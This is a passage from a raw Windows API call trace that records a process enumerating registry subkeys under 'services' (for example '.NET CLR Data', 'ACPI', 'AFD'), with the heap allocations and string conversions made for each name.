CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.445] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.445] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.446] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.446] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.446] RegCloseKey (hKey=0x154) returned 0x0 [0217.446] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.446] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0217.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.446] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bb0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bb0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0217.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0217.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bb0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0217.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", 